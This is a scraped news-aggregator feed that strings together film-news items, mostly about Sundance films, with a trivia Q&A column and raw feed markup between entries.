So what’s Mindy Kaling been up to since the conclusion of The Mindy Project? Apparently, using her years as a show-biz insider to write a media satire for director Nisha Ganatra (whose directorial credits include Transparent and hey, look at that, The Mindy Project). To be clear, Late Night is a work of fiction; it’s about a female late night talk show host, which network heads keep treating like Tolkien-level fantasy. Said host (played by Emma Thompson) finds herself in the hot seat for her all-male writers’ room, so she brings in Molly (Kaling), who determines to prove herself as more than a diversity hire. John Lithgow, Amy Ryan, and Reid Scott co-star.

                                                                                            

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]]> https://briefnews.eu/10-sundance-movies-we-cant-wait-to-see/feed/ 0 Her Film Won Over the Sundance Jury in 13 Minutes https://briefnews.eu/her-film-won-over-the-sundance-jury-in-13-minutes-2/ https://briefnews.eu/her-film-won-over-the-sundance-jury-in-13-minutes-2/#respond Thu, 20 Dec 2018 13:05:26 +0000 http://briefnews.eu/her-film-won-over-the-sundance-jury-in-13-minutes-2/

Which is the more effective way to confront an issue: facts or emotion? For filmmaker Garrett Bradley, the question sets up a false contrast — one is, in fact, strengthened by the other. “You can watch a film and feel empathy, connect on some level,” the 31-year-old explains. “And that entry point, hopefully, can expand a conversation that might be divisive with statistics alone.”

That’s the hope Bradley has for Alone, her 13-minute documentary that won Sundance’s Short Film Jury Award in nonfiction last January. Afterward, it was released by The New York Times’ Op-Docs program, and it’s since been short-listed for an Academy Award nomination (nominees will be announced on Jan. 23). Alone is an intimate glimpse into the life of New Orleans resident Aloné Watts — a close friend of Bradley’s — as she endures the pain and isolation that come while she waits to marry her fiancé, Desmond Watson, while he’s incarcerated for a series of nonviolent crimes. Shot in black-and-white, the film is a study of contrasts: It’s a love story, a diary and an exploration of the prison industrial complex, all at the same time.

I do sometimes come up against the thinking that the flexibility of what I’m doing is impure.

Garrett Bradley

Contrasts have always fascinated Bradley. Born to two painters in New York City’s Chinatown, she found herself a downtown kid in an uptown world when her mother sent her to a prep school on the Upper West Side. “That was the first time I’d been around people whose parents were wealthy — doctors, lawyers,” Bradley remembers. “It really informed my experience because it was such a juxtaposition, culturally, from what I was used to.” Operating in unfamiliar spaces became commonplace for her, and as a sophomore in high school — around the same time she reconnected with her father, whose marriage to her mother had ended when she was a baby — she found a coping mechanism: a video camera. “I was so used to being in odd environments,” she says. “The camera became a protective tool for me.”

Despite those early leanings, she didn’t consciously pursue filmmaking — not when she studied religion at Smith College, and not even as a film student at UCLA. “My parents being painters, I understood what it meant to prioritize your craft,” she says. “But even then, I wasn’t really thinking in terms of a career. I just followed my instincts.” Those instincts led her in 2012 to New Orleans, where she made her first feature film, Below Dreams. The tough-minded drama, following three 20-something locals — a recent NYC transplant, a single mother and a job seeker (Desmond Watson, later featured in Alone) — as they struggle to navigate young adulthood, premiered at the Tribeca Film Festival in 2014, a trajectory Bradley still marvels at, given the film’s improvisational genesis. “The people who were a part of it must have trusted me on some level to keep going. But it was the kind of production I would walk away from now,” she says with a laugh.

Producer Lauren Domino, a frequent collaborator of Bradley’s — and her partner on Alone — offers a clear explanation for the faith of that cast and crew. “Garrett operates from an inner goodness that spreads to everyone on her team,” she says. “And her subjects are always treated as fully human, when there’s a tendency to ‘other’ in order to create empathy. As a producer, I always ask, ‘How can the content I’m involved in change systems?’ When I look at Garrett’s work, I’m like, ‘She’s doing it!’”

Though producer and director met as members of New Orleans’ tight-knit circle of female filmmakers, they bonded over a shared worldview. “We were both asking questions like, ‘What’s the nature of an art house film — a film that’s shown in a museum versus one that’s shown in theaters?’” Domino says. “Aren’t those distinctions preventing audiences from experiencing content they might enjoy because they’re told that a particular space is only for people who think a certain way?” For Bradley, a director whose visual techniques blur what’s traditionally seen in narrative and documentary films, she finds the rigid genre separation Domino describes to be a major hurdle. “You encounter very clear definitions of what a documentary is, what a narrative film is,” she says. “So, I do sometimes come up against the thinking that the flexibility of what I’m doing is impure.”

But is there a benefit to adhering to strict definitions of genre? Yes, says Kathleen Lingo, executive producer of The New York Times’ Op-Docs series. “It’s incredibly important for the audience,” she explains. Few filmmakers, she adds, have as much fluency as Bradley. “She’s so dexterous in terms of her talent. Not a lot of directors do both documentary and fiction — especially well. It’s a pretty short list.” But still, Lingo contends, specificity of genre has merit. “People want to know if what they’re seeing is documentary or a fiction film.” If it’s a hybrid, she says, “they’ll accept that, but you have to be transparent about it.”

Bradley remains mindful of the ethical separation between the genres she works in, but she’s also optimistic that she won’t be stifled, thanks in part to Ava DuVernay, director of the Oscar-winning 2014 film Selma. Last year, DuVernay recruited Bradley to direct an episode of her hit television series Queen Sugar. “Working with Ava was a next-level experience because she hasn’t let herself get pigeonholed in any one genre or platform,” Bradley says.

And there’s plenty across platforms in the pipeline for Bradley too, who is working on both feature-length projects and TV series, due in 2019. A follow-up to Alone, she adds, is also in the works. But one thing that’s not on her agenda: being limited by labels. “As long as I’m following the right ethics with the people I’m working with,” she says, “I’ll let everybody else decide what genre they want to call it.”

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]]> https://briefnews.eu/her-film-won-over-the-sundance-jury-in-13-minutes-2/feed/ 0 ‘We the Animals’ Trailer: Jeremiah Zagar’s Dreamy Sundance Hit Channels Terrence Malick https://briefnews.eu/we-the-animals-trailer-jeremiah-zagars-dreamy-sundance-hit-channels-terrence-malick/ https://briefnews.eu/we-the-animals-trailer-jeremiah-zagars-dreamy-sundance-hit-channels-terrence-malick/#respond Thu, 05 Jul 2018 13:56:15 +0000 http://briefnews.eu/we-the-animals-trailer-jeremiah-zagars-dreamy-sundance-hit-channels-terrence-malick/ we the animals trailer

A lot of filmmakers can try to imitate the lyrical, dreamy style of Terrence Malick, but few can replicate it. And the auteur’s acclaimed Tree of Life certainly comes to mind while watching Jeremiah Zagar‘s hypnotic We the Animals trailer. But there’s an unsettling wildness that sets Zagar’s Sundance darling apart.

We the Animals Trailer

Stunning and visceral, the We the Animals trailer tells the story of Jonah (Evan Rosado) and his two brothers Manny and Joel. But his idyllic childhood of wrestling with his brothers and living wildly in upstate New York while his sensitive mother (Sheila Vand) spoils him, is interrupted when his irresponsible father (Raúl Castillo) puts them in danger. Their parents regularly abandon them on a whim, leaving the boys to fend for themselves and grow into embittered teens. But Jonah holds tight to the idealism of his childhood, often vanishing into an imagined world of his own.

Based off the best-selling 2011 novel by Justin Torres, We the Animals made a splash at Sundance when it premiered at the film festival earlier this year. The Seattle Times praised it as a “a haunting, singular coming-of-age story” while Indiewire proclaimed it to be “this year’s Moonlight.” The film won the NEXT Innovator Award and was quickly snatched up by Orchard for distribution later this summer.

The enchanting trailer seems to live up to the praise. It feels like a cross between the Japanese film Nobody Knows and Tree of Life — like Malick’s meandering lyricism is given a tragic focus. And the performances from the young stars look like they’re on par with the tour-de-force turns from Moonlight‘s young stars last year, which could put We the Animals in contention for this year’s Oscar race.

Here is the official synopsis for We the Animals:

Manny, Joel, and Jonah tear their way through childhood. Their mother and father have a volatile relationship that makes and unmakes the family many times over, often leaving the boys fending for themselves. As their parents rip at one another, Manny and Joel harden and grow into versions of their father. With the triumvirate fractured, Jonah, who is the youngest, becomes increasingly aware of his desperate need to escape. Driven to the edge, Jonah embraces an imagined world all his own.

We the Animals opens in theaters on August 17, 2018.

The post ‘We the Animals’ Trailer: Jeremiah Zagar’s Dreamy Sundance Hit Channels Terrence Malick appeared first on /Film.

]]> https://briefnews.eu/we-the-animals-trailer-jeremiah-zagars-dreamy-sundance-hit-channels-terrence-malick/feed/ 0 Daily Podcast: Inappropriate Books We Read As A Kid, Is DC Copying Marvel By Hiring Sundance Directors? Pet Sematary, Avengers 4, King of Kong, Neill Blomkamp, HTTYD 3 & PTA https://briefnews.eu/daily-podcast-inappropriate-books-we-read-as-a-kid-is-dc-copying-marvel-by-hiring-sundance-directors-pet-sematary-avengers-4-king-of-kong-neill-blomkamp-httyd-3-pta/ https://briefnews.eu/daily-podcast-inappropriate-books-we-read-as-a-kid-is-dc-copying-marvel-by-hiring-sundance-directors-pet-sematary-avengers-4-king-of-kong-neill-blomkamp-httyd-3-pta/#respond Wed, 18 Apr 2018 00:11:15 +0000 http://briefnews.eu/daily-podcast-inappropriate-books-we-read-as-a-kid-is-dc-copying-marvel-by-hiring-sundance-directors-pet-sematary-avengers-4-king-of-kong-neill-blomkamp-httyd-3-pta/ king of kong - donkey kong

On the April 17, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film senior writer Ben Pearson and writer Chris Evangelista to talk about Pet Sematary remake casting, the title for Avengers 4, Harley Quinn movie director, an update on King of Kong champion Billy Mitchell, Neill Blomkamp crowdfunding his next movie, How to Train Your Dragon 3 details, and Paul Thomas Anderson’s next film.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (here is the RSS URL if you need it).

Opening Banter: Peter addresses a podcast review.

In the News:

Other articles mentioned:

All the other stuff you need to know:

You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.

/Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (RSS).

Please feel free to send your feedback, questions, comments and concerns to us at peter@slashfilm.com. Please leave your name and general geographic location in case we mention the e-mail on the air.

Please rate and review the podcast on iTunes, tell your friends and spread the word!

Thanks to Sam Hume for our logo.

The post Daily Podcast: Inappropriate Books We Read As A Kid, Is DC Copying Marvel By Hiring Sundance Directors? Pet Sematary, Avengers 4, King of Kong, Neill Blomkamp, HTTYD 3 & PTA appeared first on /Film.

]]> https://briefnews.eu/daily-podcast-inappropriate-books-we-read-as-a-kid-is-dc-copying-marvel-by-hiring-sundance-directors-pet-sematary-avengers-4-king-of-kong-neill-blomkamp-httyd-3-pta/feed/ 0 Who sang in Butch Cassidy And The Sundance Kid? – The Saturday Briefing https://briefnews.eu/who-sang-in-butch-cassidy-and-the-sundance-kid-the-saturday-briefing/ https://briefnews.eu/who-sang-in-butch-cassidy-and-the-sundance-kid-the-saturday-briefing/#respond Sat, 24 Feb 2018 17:51:20 +0000 http://briefnews.eu/who-sang-in-butch-cassidy-and-the-sundance-kid-the-saturday-briefing/

A: The song is by Burt Bacharach and the vocals are performed by the Ron Hicklin Singers.

They were an extraordinary group who performed the themes for many films and TV series from the 1960s to the 1980s, including Happy Days, Wonder Woman and Batman.

Q: What does the term “halcyon days” refer to and where does it come from?

A: “Halcyon” or “alcyon” was an old name for the kingfisher.

According to an old myth this bird had the power to calm the wind and waves, allowing it to breed in nests on the sea around the time of the winter solstice.

The term “halcyon days” came to be applied to a period of around two weeks in the second half of December when the weather was calm and peaceful.

It is now used for any period of idyllic calmness.

Q: We know that the possessive form of the pronoun “it” is “its” without the apostrophe just like his, hers, ours, yours and theirs but how about “ones” when “one” is used as a pronoun? I have seen many examples in print where “one’s” occurs and this seems to be normal.

A: “One’s” is correct for the possessive form. The point is that his, hers, ours and the others you mention are surviving possessive forms of old English pronouns.

There has never been such a form for “one” used as a pronoun so the possessive is “one’s”, just like someone’s, anyone’s or any normal possessive of a noun or person’s name.

The “apostrophe-s” form for possessives in general only became usual around the 17th century.

By the time “one” became commonly used as a pronoun, “one’s” was the natural way to form a possessive.

Q: My son and I were watching Winston Churchill on TV making his V for Victory sign. I told my son it’s an insult to do it today and he asked how long it has been a rude gesture. Can you tell us?

A: There’s a difference between the Churchillian V-sign and the rude V-sign: Churchill’s has the palm of the hand towards the recipient of the sign, the rude sign has the back of the hand facing the person at whom the gesture is directed.

Churchill originated the V for Victory gesture, which went very well with the opening of Beethoven’s Fifth Symphony, as the dot-dot-dot-dash rhythm of the theme is Morse code for the letter V.

The rude V-sign is older but not nearly as old as many think. There is an old myth that it dates back to the Battle of Agincourt in 1415 when British longbow soldiers gave a two-finger salute to the French in response to an alleged French practice of cutting off the index and middle fingers of captured bowmen. It’s a nice story but the French just killed captured bowmen, which was much simpler than cutting off their fingers. And in any case the first reference to the story was in the 1970s. The rude V-sign, in fact, was not recorded until 1901. Its true origin is highly uncertain, though it may have something to do with the medieval horns of the devil or the “horns of a cuckold”, a man whose wife has been embraced by another.

Q: Where can I find the answer to the “Secret” question which appears each day in the Day & Night column in the Daily Express?

A: Infuriating isn’t it? They won’t even tell me the answers.

The Day & Night writers tell me this is the question they are most often asked but the item is intended for pure mischief, simply to give you something to speculate about.

You won’t find the answers in our newspaper.

Q: While watching a recent TV documentary on nuclear weapons I seem to recall that during the development of such weapons the issue of a cobalt bomb was raised. This I believe was dropped on the principle that it was inhumane. Can you clarify what the detonation of such a bomb would have caused?

A: In the late 1950s the idea of the cobalt bomb was what led to the idea of a “doomsday device” that could end all life on Earth.

Compared with other atom bombs and even more powerful hydrogen bombs, the radioactive fallout produced by a cobalt bomb could consist of longer-lasting isotopes which would render affected areas uninhabitable for decades.

According to one calculation, people could only safely emerge to live outside shelters after about 100 years.

In the black comedy film Dr Strangelove, the Russian ambassador says: “If you take, say, 50 H-bombs in the 100 megaton range and jacket them with Cobalt Thorium G, when they are exploded they will produce a doomsday shroud. A lethal cloud of radioactivity which will encircle the Earth for 93 years!”

Amazingly that prediction was based on genuine scientific data, though they assumed optimal efficiency in creating radioactive isotopes which tests (on a much smaller scale of course) never came close to achieving in practice.

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]]> https://briefnews.eu/who-sang-in-butch-cassidy-and-the-sundance-kid-the-saturday-briefing/feed/ 0 ‘The Kindergarten Teacher’: Netflix Snags Maggie Gyllenhaal’s Award-Winning Sundance Drama https://briefnews.eu/the-kindergarten-teacher-netflix-snags-maggie-gyllenhaals-award-winning-sundance-drama/ https://briefnews.eu/the-kindergarten-teacher-netflix-snags-maggie-gyllenhaals-award-winning-sundance-drama/#respond Fri, 23 Feb 2018 01:03:34 +0000 http://briefnews.eu/the-kindergarten-teacher-netflix-snags-maggie-gyllenhaals-award-winning-sundance-drama/ The Kindergarten Teacher Netflix

Another Sundance movie has found a home. Netflix has scooped up the rights to writer/director Sara Colangelo‘s The Kindergarten Teacher in the U.S. and Canada, and they’ll make the film available for subscribers to stream sometime this year. Maggie Gyllenhaal produced the movie and stars as a teacher who becomes dangerously obsessed with nurturing the talent of one of her young students. Read more about The Kindergarten Teacher Netflix deal below.

The Hollywood Reporter brings the news about the streaming service’s acquisition of Colangelo’s film, which tells the story of a teacher (Gyllenhaal) who loves poetry and becomes consumed with the idea that one of her five-year-old students may be the next great poet. Netflix has yet to announce a release date. We also aren’t sure if they’ll give the film a small theatrical run; last year, Netflix gave another Sundance acquisition, Mudbound, a brief stint in theaters.

The Kindergarten Teacher is based on an Israeli film that came out in 2014. Take a look at that trailer below:

As you can see, the lead character isn’t exactly sympathetic. But that’s exactly the way Colangelo wanted it. We spoke with her at this year’s Sundance Film Festival, where she won the directing award in the dramatic film category, and she was especially passionate about that topic:

“I’m sick of women having to be so likable all the time. We’re nuanced creatures, like men. Men get to be antiheroes in cinema, and we should too. I think it makes for wonderful cinema and it makes for something that I think women relate to, too. Even though this is a warped and twisted tale, at moments, I think there’s a side to this that we can understand. I like the story, because I find that I myself vacillate between saying, ‘I totally get this as an artist or somebody that appreciates the arts,’ and then sometimes I’m like, ‘Oh, gosh. What are you doing now? This is making me incredibly uncomfortable, and you’re crossing a sacred boundary.’ But I like that. I like the ride of that as somebody in the audience. It’s not perfectly linear all the time. You’re going back and forth. I was interested in that too, narratively.”

/Film writer Ethan Anderton even dubbed Maggie Gyllenhaal’s character the Best Antagonist in our Sundance wrap-up coverage, and you can read why right here.

The Kindergarten Teacher will be available to stream on Netflix sometime in 2018. Be sure to check out our full review right here.

The post ‘The Kindergarten Teacher’: Netflix Snags Maggie Gyllenhaal’s Award-Winning Sundance Drama appeared first on /Film.

]]> https://briefnews.eu/the-kindergarten-teacher-netflix-snags-maggie-gyllenhaals-award-winning-sundance-drama/feed/ 0 Watch the First Trailer for the Sundance Horror Breakout ‘Hereditiary’ https://briefnews.eu/watch-the-first-trailer-for-the-sundance-horror-breakout-hereditiary/ https://briefnews.eu/watch-the-first-trailer-for-the-sundance-horror-breakout-hereditiary/#respond Tue, 30 Jan 2018 16:27:03 +0000 http://briefnews.eu/watch-the-first-trailer-for-the-sundance-horror-breakout-hereditiary/ [unable to retrieve full-text content]

The Sundance hit horror movie is kind of a tradition/subgenre unto itself: a indie scare picture that quietly debuts on the Midnight slate and scares the shit out of the fest’s critics and tastemakers, who stumble into the snow at two in the morning all abuzz with exhaustion and terror, beginning a hype cycle that […]


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